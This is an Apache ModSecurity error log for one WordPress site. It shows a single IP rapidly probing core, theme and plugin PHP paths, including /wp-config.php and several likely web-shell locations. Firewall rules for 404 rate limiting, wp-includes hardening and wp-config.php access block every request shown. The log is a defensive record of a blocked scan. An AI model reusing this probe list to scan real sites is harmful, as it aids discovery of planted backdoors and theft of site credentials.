[Wed Jan 14 05:07:03.521626 2026] [:error] [pid 24603:tid 24674] [client 4.230.47.124:7118] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/newsite/wp-admin/admin-header.php"] [unique_id "aWaz95PBJGFGN8VT8_ShjQAAAIk"]
[Wed Jan 14 05:07:03.813008 2026] [:error] [pid 24602:tid 24644] [client 4.230.47.124:7825] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/update.php"] [unique_id "aWaz90ooYwabcb9R9fw3IgAAAEY"]
[Wed Jan 14 05:07:04.083422 2026] [:error] [pid 59074:tid 59084] [client 4.230.47.124:7887] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/autoloader.php"] [unique_id "aWaz-E_KrJ818pzhB3xkOQAAAkg"]
[Wed Jan 14 05:07:04.369486 2026] [:error] [pid 24710:tid 24726] [client 4.230.47.124:7139] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/autoloader.php"] [unique_id "aWaz-GXBo5bEhDEEhs1fyQAAAM4"]
[Wed Jan 14 05:07:04.639598 2026] [:error] [pid 24603:tid 24688] [client 4.230.47.124:7882] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/autoloader.php"] [unique_id "aWaz-JPBJGFGN8VT8_ShjgAAAJc"]
[Wed Jan 14 05:07:04.912820 2026] [:error] [pid 24601:tid 24610] [client 4.230.47.124:7894] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/r-and-t/functions.php"] [unique_id "aWaz-ECtWkZ9rlKW5n-BkwAAAAA"]
[Wed Jan 14 05:07:05.191747 2026] [:error] [pid 58901:tid 58931] [client 4.230.47.124:7886] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/r-and-t/functions.php"] [unique_id "aWaz-b3kQSrcqIWtO0okMgAAAcE"]
[Wed Jan 14 05:07:05.470794 2026] [:error] [pid 58901:tid 58952] [client 4.230.47.124:7141] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/r-and-t/functions.php"] [unique_id "aWaz-b3kQSrcqIWtO0okMwAAAdY"]
[Wed Jan 14 05:07:05.740564 2026] [:error] [pid 58899:tid 58915] [client 4.230.47.124:7811] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/r-and-t/functions.php"] [unique_id "aWaz-QWViGQd5R44tHFyPwAAAYw"]
[Wed Jan 14 05:07:06.021252 2026] [:error] [pid 59074:tid 59076] [client 4.230.47.124:7150] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/theme.php"] [unique_id "aWaz-k_KrJ818pzhB3xkOwAAAkA"]
[Wed Jan 14 05:07:06.292525 2026] [:error] [pid 59074:tid 59082] [client 4.230.47.124:7920] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/theme.php"] [unique_id "aWaz-k_KrJ818pzhB3xkPAAAAkY"]
[Wed Jan 14 05:07:06.562090 2026] [:error] [pid 58868:tid 58879] [client 4.230.47.124:7870] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/theme.php"] [unique_id "aWaz-k67yj8PZAmdsblpDQAAAUk"]
[Wed Jan 14 05:07:06.857997 2026] [:error] [pid 58977:tid 58980] [client 4.230.47.124:7914] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/theme.php"] [unique_id "aWaz-rlT6ggZLRx9QvAAMwAAAgA"]
[Wed Jan 14 05:07:07.141394 2026] [:error] [pid 24603:tid 24677] [client 4.230.47.124:7904] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aWaz-5PBJGFGN8VT8_ShkgAAAIw"]
[Wed Jan 14 05:07:07.429371 2026] [:error] [pid 58899:tid 58921] [client 4.230.47.124:7859] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aWaz-wWViGQd5R44tHFyQAAAAZI"]
[Wed Jan 14 05:07:07.712204 2026] [:error] [pid 58977:tid 59001] [client 4.230.47.124:7166] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aWaz-7lT6ggZLRx9QvAANQAAAhU"]
[Wed Jan 14 05:07:07.993770 2026] [:error] [pid 58977:tid 58996] [client 4.230.47.124:7126] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog-header.php"] [unique_id "aWaz-7lT6ggZLRx9QvAANwAAAhA"]
[Wed Jan 14 05:07:08.263248 2026] [:error] [pid 24602:tid 24657] [client 4.230.47.124:7155] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aWaz_EooYwabcb9R9fw3JgAAAFM"]
[Wed Jan 14 05:07:08.540942 2026] [:error] [pid 24602:tid 24639] [client 4.230.47.124:7821] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aWaz_EooYwabcb9R9fw3JwAAAEE"]
[Wed Jan 14 05:07:08.819413 2026] [:error] [pid 24601:tid 24634] [client 4.230.47.124:7903] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aWaz_ECtWkZ9rlKW5n-BlQAAABg"]
[Wed Jan 14 05:07:09.088287 2026] [:error] [pid 58901:tid 58953] [client 4.230.47.124:7834] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aWaz_b3kQSrcqIWtO0okNAAAAdc"]
[Wed Jan 14 05:07:09.358019 2026] [:error] [pid 58699:tid 58703] [client 4.230.47.124:7817] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php"] [unique_id "aWaz_eYdPBtkMLK2SdqocQAAAQE"]
[Wed Jan 14 05:07:09.627953 2026] [:error] [pid 24603:tid 24689] [client 4.230.47.124:7851] [client 4.230.47.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/template-loader.php"] [unique_id "aWaz_ZPBJGFGN8VT8_ShkwAAAJg"]
[Wed Jan 14 05:07:09.899239 2026] [:error] [pid 24601:tid 24621] [client 4.230.47.124:7888] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/home.php"] [unique_id "aWaz_UCtWkZ9rlKW5n-BlgAAAAs"]
[Wed Jan 14 05:07:10.175856 2026] [:error] [pid 24603:tid 24686] [client 4.230.47.124:7852] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/home.php"] [unique_id "aWaz_pPBJGFGN8VT8_ShlQAAAJU"]
[Wed Jan 14 05:07:10.444538 2026] [:error] [pid 58868:tid 58882] [client 4.230.47.124:7935] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/home.php"] [unique_id "aWaz_k67yj8PZAmdsblpEgAAAUw"]
[Wed Jan 14 05:07:10.721828 2026] [:error] [pid 58899:tid 58905] [client 4.230.47.124:7822] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/child/header.php"] [unique_id "aWaz_gWViGQd5R44tHFyQQAAAYI"]
[Wed Jan 14 05:07:10.990675 2026] [:error] [pid 58899:tid 58906] [client 4.230.47.124:7897] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/child/header.php"] [unique_id "aWaz_gWViGQd5R44tHFyQgAAAYM"]
[Wed Jan 14 05:07:11.263840 2026] [:error] [pid 24601:tid 24626] [client 4.230.47.124:7114] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/child/header.php"] [unique_id "aWaz_0CtWkZ9rlKW5n-BlwAAABA"]
[Wed Jan 14 05:07:11.539883 2026] [:error] [pid 24601:tid 24613] [client 4.230.47.124:7108] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/child/header.php"] [unique_id "aWaz_0CtWkZ9rlKW5n-BmAAAAAM"]
[Wed Jan 14 05:07:11.810110 2026] [:error] [pid 58977:tid 58990] [client 4.230.47.124:7042] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/single.php"] [unique_id "aWaz_7lT6ggZLRx9QvAAOAAAAgo"]
[Wed Jan 14 05:07:12.079620 2026] [:error] [pid 58901:tid 58954] [client 4.230.47.124:7855] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/single.php"] [unique_id "aWa0AL3kQSrcqIWtO0okNgAAAdg"]
[Wed Jan 14 05:07:12.349434 2026] [:error] [pid 24602:tid 24641] [client 4.230.47.124:7842] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/single.php"] [unique_id "aWa0AEooYwabcb9R9fw3KAAAAEM"]
[Wed Jan 14 05:07:12.623178 2026] [:error] [pid 24602:tid 24655] [client 4.230.47.124:7161] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/single.php"] [unique_id "aWa0AEooYwabcb9R9fw3KQAAAFE"]
[Wed Jan 14 05:07:12.892327 2026] [:error] [pid 58901:tid 58950] [client 4.230.47.124:6998] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/archive.php"] [unique_id "aWa0AL3kQSrcqIWtO0okOAAAAdQ"]
[Wed Jan 14 05:07:13.168180 2026] [:error] [pid 59074:tid 59085] [client 4.230.47.124:7930] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/archive.php"] [unique_id "aWa0AU_KrJ818pzhB3xkQAAAAkk"]
[Wed Jan 14 05:07:13.451330 2026] [:error] [pid 58977:tid 58998] [client 4.230.47.124:7924] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/archive.php"] [unique_id "aWa0AblT6ggZLRx9QvAAOgAAAhI"]
[Wed Jan 14 05:07:13.720562 2026] [:error] [pid 58977:tid 59003] [client 4.230.47.124:7927] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/archive.php"] [unique_id "aWa0AblT6ggZLRx9QvAAOwAAAhc"]
[Wed Jan 14 05:07:13.995560 2026] [:error] [pid 58868:tid 58885] [client 4.230.47.124:7113] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/page.php"] [unique_id "aWa0AU67yj8PZAmdsblpFgAAAU8"]
[Wed Jan 14 05:07:14.262420 2026] [:error] [pid 24710:tid 24721] [client 4.230.47.124:7907] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/page.php"] [unique_id "aWa0AmXBo5bEhDEEhs1fywAAAMk"]
[Wed Jan 14 05:07:14.533981 2026] [:error] [pid 24710:tid 24727] [client 4.230.47.124:7127] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/page.php"] [unique_id "aWa0AmXBo5bEhDEEhs1fzAAAAM8"]
[Wed Jan 14 05:07:14.809526 2026] [:error] [pid 58899:tid 58920] [client 4.230.47.124:7912] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/page.php"] [unique_id "aWa0AgWViGQd5R44tHFyRAAAAZE"]
[Wed Jan 14 05:07:15.078933 2026] [:error] [pid 58699:tid 58719] [client 4.230.47.124:7823] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloner/websocket.php"] [unique_id "aWa0A-YdPBtkMLK2SdqocwAAARE"]
[Wed Jan 14 05:07:15.349097 2026] [:error] [pid 58699:tid 58725] [client 4.230.47.124:7841] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloner/websocket.php"] [unique_id "aWa0A-YdPBtkMLK2SdqodQAAARc"]
[Wed Jan 14 05:07:15.624232 2026] [:error] [pid 58699:tid 58716] [client 4.230.47.124:7813] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloner/websocket.php"] [unique_id "aWa0A-YdPBtkMLK2SdqoeAAAAQ4"]
[Wed Jan 14 05:07:15.901435 2026] [:error] [pid 58901:tid 58937] [client 4.230.47.124:7121] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cloner/websocket.php"] [unique_id "aWa0A73kQSrcqIWtO0okOQAAAcc"]
[Wed Jan 14 05:07:16.182696 2026] [:error] [pid 24601:tid 24632] [client 4.230.47.124:7157] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mu-plugins/0-worker.php"] [unique_id "aWa0BECtWkZ9rlKW5n-BmgAAABY"]
[Wed Jan 14 05:07:16.460407 2026] [:error] [pid 58899:tid 58909] [client 4.230.47.124:7891] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mu-plugins/0-worker.php"] [unique_id "aWa0BAWViGQd5R44tHFyRQAAAYY"]
[Wed Jan 14 05:07:16.729613 2026] [:error] [pid 58901:tid 58942] [client 4.230.47.124:7876] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mu-plugins/0-worker.php"] [unique_id "aWa0BL3kQSrcqIWtO0okOgAAAcw"]
[Wed Jan 14 05:07:17.001167 2026] [:error] [pid 24603:tid 24672] [client 4.230.47.124:7167] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mu-plugins/0-worker.php"] [unique_id "aWa0BZPBJGFGN8VT8_ShlgAAAIc"]
[Wed Jan 14 05:07:17.271509 2026] [:error] [pid 59074:tid 59087] [client 4.230.47.124:7861] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/worker/init.php"] [unique_id "aWa0BU_KrJ818pzhB3xkQgAAAks"]
[Wed Jan 14 05:07:17.550548 2026] [:error] [pid 24602:tid 24651] [client 4.230.47.124:7104] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/worker/init.php"] [unique_id "aWa0BUooYwabcb9R9fw3LAAAAE0"]
[Wed Jan 14 05:07:17.819843 2026] [:error] [pid 58699:tid 58724] [client 4.230.47.124:7075] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/worker/init.php"] [unique_id "aWa0BeYdPBtkMLK2SdqoeQAAARY"]
[Wed Jan 14 05:07:18.091812 2026] [:error] [pid 58868:tid 58893] [client 4.230.47.124:7046] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugins/worker/init.php"] [unique_id "aWa0Bk67yj8PZAmdsblpGgAAAVc"]
[Wed Jan 14 05:07:18.363395 2026] [:error] [pid 58699:tid 58715] [client 4.230.47.124:7809] [client 4.230.47.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/onepress/sidebar.php"] [unique_id "aWa0BuYdPBtkMLK2SdqoewAAAQ0"]
